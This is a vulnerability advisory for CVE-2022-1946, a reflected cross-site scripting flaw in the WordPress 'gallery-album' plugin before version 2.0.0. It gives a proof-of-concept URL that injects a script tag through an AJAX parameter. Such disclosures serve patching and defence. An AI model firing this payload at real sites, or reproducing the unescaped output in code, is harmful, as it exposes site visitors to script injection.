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Gallery < 2.0.0 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape a parameter before outputting it back in the response of an AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(`xss`)</script> 

Affects Plugins

gallery-album
Fixed in version 2.0.0

References

CVE
CVE-2022-1946

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

cydave

Submitter

cydave

Submitter website
https://cyllective.com/
Submitter twitter
cyllective
Verified

Yes

WPVDB ID
0903920c-be2e-4515-901f-87253eb30940

Timeline

Publicly Published

2022-06-13 (about 9 months ago)

Added

2022-06-13 (about 9 months ago)

Last Updated

2023-03-13 (about 15 days ago)

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